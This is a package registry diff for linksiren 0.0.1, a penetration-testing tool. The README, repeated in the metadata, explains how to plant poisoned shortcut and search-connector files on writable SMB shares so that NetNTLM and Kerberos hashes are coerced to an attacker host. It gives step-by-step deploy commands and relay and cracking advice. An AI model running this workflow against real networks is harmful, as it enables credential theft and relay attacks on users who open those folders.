linksiren 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,28 @@
1
+ BSD 3-Clause License
2
+
3
+ Copyright (c) 2023, gjhami
4
+
5
+ Redistribution and use in source and binary forms, with or without
6
+ modification, are permitted provided that the following conditions are met:
7
+
8
+ 1. Redistributions of source code must retain the above copyright notice, this
9
+ list of conditions and the following disclaimer.
10
+
11
+ 2. Redistributions in binary form must reproduce the above copyright notice,
12
+ this list of conditions and the following disclaimer in the documentation
13
+ and/or other materials provided with the distribution.
14
+
15
+ 3. Neither the name of the copyright holder nor the names of its
16
+ contributors may be used to endorse or promote products derived from
17
+ this software without specific prior written permission.
18
+
19
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20
+ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21
+ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23
+ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24
+ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25
+ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26
+ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27
+ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28
+ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
@@ -0,0 +1,3 @@
1
+ # MANIFEST.in
2
+
3
+ include src/linksiren/template.*
@@ -0,0 +1,312 @@
1
+ Metadata-Version: 2.1
2
+ Name: linksiren
3
+ Version: 0.0.1
4
+ Summary: Generation, targeted deployment, and scalable cleanup for files that coerce Windows authentication.
5
+ Author: George Hamilton
6
+ License: BSD 3-Clause License
7
+
8
+ Copyright (c) 2023, gjhami
9
+
10
+ Redistribution and use in source and binary forms, with or without
11
+ modification, are permitted provided that the following conditions are met:
12
+
13
+ 1. Redistributions of source code must retain the above copyright notice, this
14
+ list of conditions and the following disclaimer.
15
+
16
+ 2. Redistributions in binary form must reproduce the above copyright notice,
17
+ this list of conditions and the following disclaimer in the documentation
18
+ and/or other materials provided with the distribution.
19
+
20
+ 3. Neither the name of the copyright holder nor the names of its
21
+ contributors may be used to endorse or promote products derived from
22
+ this software without specific prior written permission.
23
+
24
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
25
+ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
26
+ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
27
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
28
+ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
29
+ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
30
+ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
31
+ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
32
+ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
33
+ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
34
+
35
+ Project-URL: Homepage, https://github.com/gjhami/LinkSiren
36
+ Project-URL: Issues, https://github.com/gjhami/LinkSiren/issues
37
+ Keywords: coerce,pentest,windows,authentication,coercion
38
+ Classifier: Operating System :: OS Independent
39
+ Classifier: Topic :: Security
40
+ Classifier: Programming Language :: Python :: 3
41
+ Requires-Python: >=3.9
42
+ Description-Content-Type: text/markdown
43
+ License-File: LICENSE
44
+ Requires-Dist: smbprotocol>=1.12.0
45
+ Provides-Extra: dev
46
+ Requires-Dist: black; extra == "dev"
47
+ Requires-Dist: bumpver; extra == "dev"
48
+ Requires-Dist: isort; extra == "dev"
49
+ Requires-Dist: pip-tools; extra == "dev"
50
+ Requires-Dist: pytest; extra == "dev"
51
+
52
+ # Description
53
+ _The Siren waits thee, singing song for song._ - Walter Savage Landor
54
+
55
+ LinkSiren distributes .library-ms, .searchConnector-ms, .url, and .lnk files to accessible file shares to coerce NetNTLM and Kerberos authentication over SMB and HTTP from hosts that open them. It's like [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d), [Lnkbomb](https://github.com/dievus/lnkbomb), or [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky) but it identifies the best place to put the files for coercion and has scalable deployment and cleanup built in.
56
+
57
+ # Installation
58
+ Install using pip
59
+ ```
60
+ # Optional: Create a virtual environment
61
+ python -m pip install linksiren
62
+
63
+ # Run with -h to output help info
64
+ linksiren -h
65
+ ```
66
+
67
+ Install from source
68
+ ```
69
+ # Download source code
70
+ git clone https://github.com/gjhami/LinkSiren.git
71
+ cd LinkSiren
72
+
73
+ # Optional: Set up a virtual environment and install requirements
74
+ python -m venv .venv
75
+ source ./.venv/bin/activate # Linux
76
+ # .\.venv\Scripts\activate # Windows
77
+
78
+ # Install requirements
79
+ python -m pip install -r requirements.txt
80
+
81
+ # Run with -h to output help info
82
+ python ./src/linksiren/__main__.py -h
83
+ ```
84
+
85
+ # Usage
86
+ LinkSiren offers the following modes of operation:
87
+
88
+ ## Generate
89
+ Create poisoned files to use for coercion and store them locally.
90
+ ```
91
+ linksiren generate --help
92
+ usage: link_siren.py generate [-h] -a ATTACKER [-n PAYLOAD]
93
+
94
+ optional arguments:
95
+ -h, --help show this help message and exit
96
+ -n PAYLOAD, --payload PAYLOAD
97
+ (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
98
+ .searchConnector-ms, .lnk, or .url
99
+
100
+ Required Arguments:
101
+ -a ATTACKER, --attacker ATTACKER
102
+ Attacker IP or hostname to place in malicious URL
103
+ ```
104
+
105
+ ## Rank
106
+ Given a list of accessible shares, output ranks for the folders within them based on the liklihood placing a file in the folder will coerce authentication from a user.
107
+ ```
108
+ linksiren rank --help
109
+ usage: link_siren.py rank [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]
110
+
111
+ optional arguments:
112
+ -h, --help show this help message and exit
113
+ -md MAX_DEPTH, --max-depth MAX_DEPTH
114
+ (Default: 3) The maximum depth of folders to search within the target.
115
+ -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
116
+ (Default: 2) Number of days as an integer for active files.
117
+ -f, --fast (Default: False) Mark folders active as soon as one active file in them is identified and move on.
118
+ Ranks are all set to 1 assigned.
119
+
120
+ Required Arguments:
121
+ -u USERNAME, --username USERNAME
122
+ Username for authenticating to each share
123
+ -p PASSWORD, --password PASSWORD
124
+ Password for authenticating to each share
125
+ -d DOMAIN, --domain DOMAIN
126
+ Domain for authenticating to each share.Specify "." for local authentication
127
+ -t TARGETS, --targets TARGETS
128
+ Path to a text file containing UNC paths to file shares / base directories within which to rank
129
+ folders as potential locations for placing poisoned files.
130
+ ```
131
+
132
+ ## Identify
133
+ Given a list of accessible shares and customizable constraints, including a maximum number of target folders per share, output UNC paths to the optimal folders for placing poisoned files.
134
+ ```
135
+ linksiren identify --help
136
+ usage: link_siren.py identify [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]
137
+ [-mf MAX_FOLDERS_PER_TARGET]
138
+
139
+ optional arguments:
140
+ -h, --help show this help message and exit
141
+ -md MAX_DEPTH, --max-depth MAX_DEPTH
142
+ (Default: 3) The maximum depth of folders to search within the target
143
+ -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
144
+ (Default: 2) Max number of days since within which a file is considered active.
145
+ -f, --fast (Default: False) Mark folders active as soon as one active file in them is identified and move on.
146
+ Ranks are all set to 1.
147
+ -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET
148
+ (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or
149
+ folder.
150
+
151
+ Required Arguments:
152
+ -u USERNAME, --username USERNAME
153
+ Username for authenticating to each share
154
+ -p PASSWORD, --password PASSWORD
155
+ Password for authenticating to each share
156
+ -d DOMAIN, --domain DOMAIN
157
+ Domain for authenticating to each share.Specify "." for local authentication
158
+ -t TARGETS, --targets TARGETS
159
+ Path to a text file containing UNC paths to file shares / base directories for deployment or from
160
+ which to remove payload files
161
+ ```
162
+
163
+ ## Deploy
164
+ Generate poisoned files for coercion and deploy them to specified UNC paths. Typically the specified UNC paths are the output of `identify` mode. Output a list of UNC paths to folders where payloads were successfully deployed for cleanup.
165
+ ```
166
+ linksiren deploy --help
167
+ usage: link_siren.py deploy [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]
168
+
169
+ optional arguments:
170
+ -h, --help show this help message and exit
171
+ -n PAYLOAD, --payload PAYLOAD
172
+ (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
173
+ .searchConnector-ms, .lnk, or .url
174
+
175
+ Required Arguments:
176
+ -u USERNAME, --username USERNAME
177
+ Username for authenticating to each share
178
+ -p PASSWORD, --password PASSWORD
179
+ Password for authenticating to each share
180
+ -d DOMAIN, --domain DOMAIN
181
+ Domain for authenticating to each share.Specify "." for local authentication
182
+ -t TARGETS, --targets TARGETS
183
+ Path to a text file containing UNC paths to folders into which poisoned files will be deployed.
184
+ -a ATTACKER, --attacker ATTACKER
185
+ Attacker IP or hostname to place in poisoned files.
186
+ ```
187
+
188
+ ## Cleanup
189
+ Remove all payloads from the specified UNC paths, typically the output of `deploy` mode.
190
+ ```
191
+ linksiren cleanup --help
192
+ usage: link_siren.py cleanup [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]
193
+
194
+ optional arguments:
195
+ -h, --help show this help message and exit
196
+ -n PAYLOAD, --payload PAYLOAD
197
+ (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
198
+ .searchConnector-ms, .lnk, or .url
199
+
200
+ Required Arguments:
201
+ -u USERNAME, --username USERNAME
202
+ Username for authenticating to each share
203
+ -p PASSWORD, --password PASSWORD
204
+ Password for authenticating to each share
205
+ -d DOMAIN, --domain DOMAIN
206
+ Domain for authenticating to each share.Specify "." for local authentication
207
+ -t TARGETS, --targets TARGETS
208
+ Path to a text file containing UNC paths to folders in which poisoned files are located.
209
+ -a ATTACKER, --attacker ATTACKER
210
+ Attacker IP or hostname to place in poisoned files.
211
+ ```
212
+
213
+ ## Attack Overview
214
+ 1. (Optional) Get Intranet-Zoned if you want to coerce HTTP authentication. See the note in [theHackerRecipes WebClient Abuse](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse).
215
+ 2. Create a list of UNC paths to writeable SMB shares.
216
+ - Note: Make sure you can delete files in them for cleanup.
217
+ 3. [Optional] Run LinkSiren in `generate` mode to write templates locally
218
+ 4. [Optional] Run LinkSiren in `rank` mode to output rankings for accessible folders based on recent access.
219
+ 5. Run LinkSiren in `identify` mode to find the best places to put poisoned files.
220
+ 6. Start a listener or relay on your attacker machine to capture and/or relay coerced authentication.
221
+ 7. Run LinkSiren in `deploy` mode to place payloads in the optimal locations identified.
222
+ 8. Let the hashes roll in. Relay and/or crack as desired.
223
+ 9. Run LinkSiren in `cleanup` mode to delete all the poisoned files.
224
+
225
+ ## What Payload Type Should I Use?
226
+ Search Connectors (.searchConnector-ms): This is generally the best option. They require the least amount of interaction, start the WebClient service from a stopped state automatically, and are capable of coercing both SMB and HTTP authentication using a single file.
227
+
228
+ ## How do I use this NOW?
229
+ ```bash
230
+ # Setup
231
+ git clone https://github.com/gjhami/LinkSiren.git && cd LinkSiren
232
+ python -m pip install -r requirements.txt
233
+
234
+ # Identify optimal locations for poisoned file deployment
235
+ linksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>
236
+
237
+ # Deploy to identified locations
238
+ linksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>
239
+
240
+ # Capture hashes / relay authentication
241
+
242
+ # Cleanup poisoned files
243
+ linksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt
244
+ ```
245
+
246
+ ## How do I use this the \~right\~ way?
247
+ ```bash
248
+ # Get the project
249
+ git clone https://github.com/gjhami/LinkSiren.git
250
+ cd LinkSiren
251
+
252
+ # Set up a virtual environment and install requirements
253
+ python -m venv .venv
254
+ source ./.venv/bin/activate # Linux
255
+ # .\.venv\Scripts\activate # Windows
256
+ python -m pip install -r requirements.txt
257
+
258
+ # 1. Create a targets file containing accessible shares, one per line, in the following format: \\server.domain.tld\share
259
+ # I recommend crackmapexec or shareenum, make sure you can delete files you deploy
260
+
261
+ # 2. Use LinkSiren to identify the most active folders on them
262
+ # Note: You may fine tune the --max-depth, --active-threshold, --fast, and --max-folders-per-share params as necessary
263
+ # Note: Specify '.' as the domain to log in using a local user account
264
+ linksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>
265
+
266
+ # 3. Use LinkSiren to deploy payloads to all of the active folders
267
+ # --identify saves UNC paths to active folders in folder_targets.txt
268
+ linksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>
269
+
270
+ # 4. Let the hashes come to you and relay them as you see fit :)
271
+ # Use CrackMapExec and LdapRelayScan for relay target identification
272
+ # Use LdapRelayScan to determine if you can relay HTTP auth to LDAP
273
+ # Use Impacket's ntlmrelayx for relay with pcredz for hash capture on the attacker machine
274
+ # You could also use KrbJack to relay kerberos auth to a machine whose DNS record you've hijacked
275
+
276
+ # 5. Cleanup the payload files when you're finished gathering.
277
+ # Set targets to a file containing UNC paths of all folders where payloads were written
278
+ # --deploy saves UNC paths to deployed payloads in payload_folders.txt
279
+ # Note: If you set a custom payload name (--payload) when deploying, you must set the same name here
280
+ linksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt
281
+ ```
282
+
283
+ ## How is this better than the other tools?
284
+ As in real estate, the three most important things when attempting to coerce auth using files: location, location, location. All techniques identified here only coerce authentication from users that open the folder containing the poisoned file.
285
+
286
+ Other tools are built to place a single malicious .searchConnector-ms, .library-ms, or .url file at a specified location and clean up that one malicious file. If you find yourself with access to a lot of shares you may want things to scale and you may not be in the mood to write a wrapper. Additionally, you may not know the best place to put a poisoned file in a sea of accessible shares.
287
+
288
+ LinkSiren crawls shares you currently have access to and ranks every subfolder based on the liklihood it will be opened by a user sometime soon. Then it uses this information to target malicious file distribution to multiple locations at once. Additionally, LinkSiren records the full UNC path of malicious file it creates, allowing for cleanup with a single command.
289
+
290
+ Summary
291
+ - Scales to an arbitrary number of malicious .searchConnector-ms, .library-ms, .url, or .lnk files
292
+ - Targeted malicious file placement
293
+ - Single command deployment and cleanup
294
+ - Cross platform with python
295
+
296
+ ## How will you make it even better?
297
+ I'm looking to add the following features:
298
+ - [x] Start the WebClient service on targets using searchConnector-ms and library-ms files (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#start-the-webclient-service) and [Farmer Source Code](https://github.com/mdsecactivebreach/Farmer/blob/main/crop/Crop/Crop.cs))
299
+ - [x] Coerce HTTP authentication with WebDAV connection strings (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#abuse))
300
+ - [ ] Add a safe mode that checks if a file can be deleted from a target share before deploying it.
301
+ - This can be accomplished by reviewing ACLs over SMB but is only useful if the SIDs in the ACLs can be mapped to the username used to connect to the share. WMI / RPC over SMB could be used to get SID information to map SIDs to usernames (definitely local, maybe also domain). Alternatively, LDAP could be queries for SID information associated with domain users in AD environments.
302
+ - Alternatively, this could be accomplished by attempting to write a test file to the target directory and then delete it. This is what crackmapexec does.
303
+ - [ ] Add an instructions sections that details how to get intranet zoned (Blog Post In Progress)
304
+ - [ ] Test for anonymous access to shares
305
+ - [ ] Add an explanation of how this can be used with ntlmrelayx (Blog Post In Progress)
306
+ - [ ] Multithreading/Multiprocessing for faster share crawling
307
+ - [ ] Add a progress bar for share crawling
308
+ - [ ] Enable authentication using a NTLM hash
309
+ - [ ] Enable ticket based authnentication (Kerberos)
310
+
311
+ ## Note
312
+ This tools is designed for ethical hacking and penetration testing. It should be used exclusively on networks where explicit, written permission has been granted for testing. I accept no responsibility for the safety or effectiveness of this tool. Please don't sue me.
@@ -0,0 +1,261 @@
1
+ # Description
2
+ _The Siren waits thee, singing song for song._ - Walter Savage Landor
3
+
4
+ LinkSiren distributes .library-ms, .searchConnector-ms, .url, and .lnk files to accessible file shares to coerce NetNTLM and Kerberos authentication over SMB and HTTP from hosts that open them. It's like [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d), [Lnkbomb](https://github.com/dievus/lnkbomb), or [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky) but it identifies the best place to put the files for coercion and has scalable deployment and cleanup built in.
5
+
6
+ # Installation
7
+ Install using pip
8
+ ```
9
+ # Optional: Create a virtual environment
10
+ python -m pip install linksiren
11
+
12
+ # Run with -h to output help info
13
+ linksiren -h
14
+ ```
15
+
16
+ Install from source
17
+ ```
18
+ # Download source code
19
+ git clone https://github.com/gjhami/LinkSiren.git
20
+ cd LinkSiren
21
+
22
+ # Optional: Set up a virtual environment and install requirements
23
+ python -m venv .venv
24
+ source ./.venv/bin/activate # Linux
25
+ # .\.venv\Scripts\activate # Windows
26
+
27
+ # Install requirements
28
+ python -m pip install -r requirements.txt
29
+
30
+ # Run with -h to output help info
31
+ python ./src/linksiren/__main__.py -h
32
+ ```
33
+
34
+ # Usage
35
+ LinkSiren offers the following modes of operation:
36
+
37
+ ## Generate
38
+ Create poisoned files to use for coercion and store them locally.
39
+ ```
40
+ linksiren generate --help
41
+ usage: link_siren.py generate [-h] -a ATTACKER [-n PAYLOAD]
42
+
43
+ optional arguments:
44
+ -h, --help show this help message and exit
45
+ -n PAYLOAD, --payload PAYLOAD
46
+ (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
47
+ .searchConnector-ms, .lnk, or .url
48
+
49
+ Required Arguments:
50
+ -a ATTACKER, --attacker ATTACKER
51
+ Attacker IP or hostname to place in malicious URL
52
+ ```
53
+
54
+ ## Rank
55
+ Given a list of accessible shares, output ranks for the folders within them based on the liklihood placing a file in the folder will coerce authentication from a user.
56
+ ```
57
+ linksiren rank --help
58
+ usage: link_siren.py rank [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]
59
+
60
+ optional arguments:
61
+ -h, --help show this help message and exit
62
+ -md MAX_DEPTH, --max-depth MAX_DEPTH
63
+ (Default: 3) The maximum depth of folders to search within the target.
64
+ -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
65
+ (Default: 2) Number of days as an integer for active files.
66
+ -f, --fast (Default: False) Mark folders active as soon as one active file in them is identified and move on.
67
+ Ranks are all set to 1 assigned.
68
+
69
+ Required Arguments:
70
+ -u USERNAME, --username USERNAME
71
+ Username for authenticating to each share
72
+ -p PASSWORD, --password PASSWORD
73
+ Password for authenticating to each share
74
+ -d DOMAIN, --domain DOMAIN
75
+ Domain for authenticating to each share.Specify "." for local authentication
76
+ -t TARGETS, --targets TARGETS
77
+ Path to a text file containing UNC paths to file shares / base directories within which to rank
78
+ folders as potential locations for placing poisoned files.
79
+ ```
80
+
81
+ ## Identify
82
+ Given a list of accessible shares and customizable constraints, including a maximum number of target folders per share, output UNC paths to the optimal folders for placing poisoned files.
83
+ ```
84
+ linksiren identify --help
85
+ usage: link_siren.py identify [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]
86
+ [-mf MAX_FOLDERS_PER_TARGET]
87
+
88
+ optional arguments:
89
+ -h, --help show this help message and exit
90
+ -md MAX_DEPTH, --max-depth MAX_DEPTH
91
+ (Default: 3) The maximum depth of folders to search within the target
92
+ -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
93
+ (Default: 2) Max number of days since within which a file is considered active.
94
+ -f, --fast (Default: False) Mark folders active as soon as one active file in them is identified and move on.
95
+ Ranks are all set to 1.
96
+ -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET
97
+ (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or
98
+ folder.
99
+
100
+ Required Arguments:
101
+ -u USERNAME, --username USERNAME
102
+ Username for authenticating to each share
103
+ -p PASSWORD, --password PASSWORD
104
+ Password for authenticating to each share
105
+ -d DOMAIN, --domain DOMAIN
106
+ Domain for authenticating to each share.Specify "." for local authentication
107
+ -t TARGETS, --targets TARGETS
108
+ Path to a text file containing UNC paths to file shares / base directories for deployment or from
109
+ which to remove payload files
110
+ ```
111
+
112
+ ## Deploy
113
+ Generate poisoned files for coercion and deploy them to specified UNC paths. Typically the specified UNC paths are the output of `identify` mode. Output a list of UNC paths to folders where payloads were successfully deployed for cleanup.
114
+ ```
115
+ linksiren deploy --help
116
+ usage: link_siren.py deploy [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]
117
+
118
+ optional arguments:
119
+ -h, --help show this help message and exit
120
+ -n PAYLOAD, --payload PAYLOAD
121
+ (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
122
+ .searchConnector-ms, .lnk, or .url
123
+
124
+ Required Arguments:
125
+ -u USERNAME, --username USERNAME
126
+ Username for authenticating to each share
127
+ -p PASSWORD, --password PASSWORD
128
+ Password for authenticating to each share
129
+ -d DOMAIN, --domain DOMAIN
130
+ Domain for authenticating to each share.Specify "." for local authentication
131
+ -t TARGETS, --targets TARGETS
132
+ Path to a text file containing UNC paths to folders into which poisoned files will be deployed.
133
+ -a ATTACKER, --attacker ATTACKER
134
+ Attacker IP or hostname to place in poisoned files.
135
+ ```
136
+
137
+ ## Cleanup
138
+ Remove all payloads from the specified UNC paths, typically the output of `deploy` mode.
139
+ ```
140
+ linksiren cleanup --help
141
+ usage: link_siren.py cleanup [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]
142
+
143
+ optional arguments:
144
+ -h, --help show this help message and exit
145
+ -n PAYLOAD, --payload PAYLOAD
146
+ (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
147
+ .searchConnector-ms, .lnk, or .url
148
+
149
+ Required Arguments:
150
+ -u USERNAME, --username USERNAME
151
+ Username for authenticating to each share
152
+ -p PASSWORD, --password PASSWORD
153
+ Password for authenticating to each share
154
+ -d DOMAIN, --domain DOMAIN
155
+ Domain for authenticating to each share.Specify "." for local authentication
156
+ -t TARGETS, --targets TARGETS
157
+ Path to a text file containing UNC paths to folders in which poisoned files are located.
158
+ -a ATTACKER, --attacker ATTACKER
159
+ Attacker IP or hostname to place in poisoned files.
160
+ ```
161
+
162
+ ## Attack Overview
163
+ 1. (Optional) Get Intranet-Zoned if you want to coerce HTTP authentication. See the note in [theHackerRecipes WebClient Abuse](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse).
164
+ 2. Create a list of UNC paths to writeable SMB shares.
165
+ - Note: Make sure you can delete files in them for cleanup.
166
+ 3. [Optional] Run LinkSiren in `generate` mode to write templates locally
167
+ 4. [Optional] Run LinkSiren in `rank` mode to output rankings for accessible folders based on recent access.
168
+ 5. Run LinkSiren in `identify` mode to find the best places to put poisoned files.
169
+ 6. Start a listener or relay on your attacker machine to capture and/or relay coerced authentication.
170
+ 7. Run LinkSiren in `deploy` mode to place payloads in the optimal locations identified.
171
+ 8. Let the hashes roll in. Relay and/or crack as desired.
172
+ 9. Run LinkSiren in `cleanup` mode to delete all the poisoned files.
173
+
174
+ ## What Payload Type Should I Use?
175
+ Search Connectors (.searchConnector-ms): This is generally the best option. They require the least amount of interaction, start the WebClient service from a stopped state automatically, and are capable of coercing both SMB and HTTP authentication using a single file.
176
+
177
+ ## How do I use this NOW?
178
+ ```bash
179
+ # Setup
180
+ git clone https://github.com/gjhami/LinkSiren.git && cd LinkSiren
181
+ python -m pip install -r requirements.txt
182
+
183
+ # Identify optimal locations for poisoned file deployment
184
+ linksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>
185
+
186
+ # Deploy to identified locations
187
+ linksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>
188
+
189
+ # Capture hashes / relay authentication
190
+
191
+ # Cleanup poisoned files
192
+ linksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt
193
+ ```
194
+
195
+ ## How do I use this the \~right\~ way?
196
+ ```bash
197
+ # Get the project
198
+ git clone https://github.com/gjhami/LinkSiren.git
199
+ cd LinkSiren
200
+
201
+ # Set up a virtual environment and install requirements
202
+ python -m venv .venv
203
+ source ./.venv/bin/activate # Linux
204
+ # .\.venv\Scripts\activate # Windows
205
+ python -m pip install -r requirements.txt
206
+
207
+ # 1. Create a targets file containing accessible shares, one per line, in the following format: \\server.domain.tld\share
208
+ # I recommend crackmapexec or shareenum, make sure you can delete files you deploy
209
+
210
+ # 2. Use LinkSiren to identify the most active folders on them
211
+ # Note: You may fine tune the --max-depth, --active-threshold, --fast, and --max-folders-per-share params as necessary
212
+ # Note: Specify '.' as the domain to log in using a local user account
213
+ linksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>
214
+
215
+ # 3. Use LinkSiren to deploy payloads to all of the active folders
216
+ # --identify saves UNC paths to active folders in folder_targets.txt
217
+ linksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>
218
+
219
+ # 4. Let the hashes come to you and relay them as you see fit :)
220
+ # Use CrackMapExec and LdapRelayScan for relay target identification
221
+ # Use LdapRelayScan to determine if you can relay HTTP auth to LDAP
222
+ # Use Impacket's ntlmrelayx for relay with pcredz for hash capture on the attacker machine
223
+ # You could also use KrbJack to relay kerberos auth to a machine whose DNS record you've hijacked
224
+
225
+ # 5. Cleanup the payload files when you're finished gathering.
226
+ # Set targets to a file containing UNC paths of all folders where payloads were written
227
+ # --deploy saves UNC paths to deployed payloads in payload_folders.txt
228
+ # Note: If you set a custom payload name (--payload) when deploying, you must set the same name here
229
+ linksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt
230
+ ```
231
+
232
+ ## How is this better than the other tools?
233
+ As in real estate, the three most important things when attempting to coerce auth using files: location, location, location. All techniques identified here only coerce authentication from users that open the folder containing the poisoned file.
234
+
235
+ Other tools are built to place a single malicious .searchConnector-ms, .library-ms, or .url file at a specified location and clean up that one malicious file. If you find yourself with access to a lot of shares you may want things to scale and you may not be in the mood to write a wrapper. Additionally, you may not know the best place to put a poisoned file in a sea of accessible shares.
236
+
237
+ LinkSiren crawls shares you currently have access to and ranks every subfolder based on the liklihood it will be opened by a user sometime soon. Then it uses this information to target malicious file distribution to multiple locations at once. Additionally, LinkSiren records the full UNC path of malicious file it creates, allowing for cleanup with a single command.
238
+
239
+ Summary
240
+ - Scales to an arbitrary number of malicious .searchConnector-ms, .library-ms, .url, or .lnk files
241
+ - Targeted malicious file placement
242
+ - Single command deployment and cleanup
243
+ - Cross platform with python
244
+
245
+ ## How will you make it even better?
246
+ I'm looking to add the following features:
247
+ - [x] Start the WebClient service on targets using searchConnector-ms and library-ms files (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#start-the-webclient-service) and [Farmer Source Code](https://github.com/mdsecactivebreach/Farmer/blob/main/crop/Crop/Crop.cs))
248
+ - [x] Coerce HTTP authentication with WebDAV connection strings (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#abuse))
249
+ - [ ] Add a safe mode that checks if a file can be deleted from a target share before deploying it.
250
+ - This can be accomplished by reviewing ACLs over SMB but is only useful if the SIDs in the ACLs can be mapped to the username used to connect to the share. WMI / RPC over SMB could be used to get SID information to map SIDs to usernames (definitely local, maybe also domain). Alternatively, LDAP could be queries for SID information associated with domain users in AD environments.
251
+ - Alternatively, this could be accomplished by attempting to write a test file to the target directory and then delete it. This is what crackmapexec does.
252
+ - [ ] Add an instructions sections that details how to get intranet zoned (Blog Post In Progress)
253
+ - [ ] Test for anonymous access to shares
254
+ - [ ] Add an explanation of how this can be used with ntlmrelayx (Blog Post In Progress)
255
+ - [ ] Multithreading/Multiprocessing for faster share crawling
256
+ - [ ] Add a progress bar for share crawling
257
+ - [ ] Enable authentication using a NTLM hash
258
+ - [ ] Enable ticket based authnentication (Kerberos)
259
+
260
+ ## Note
261
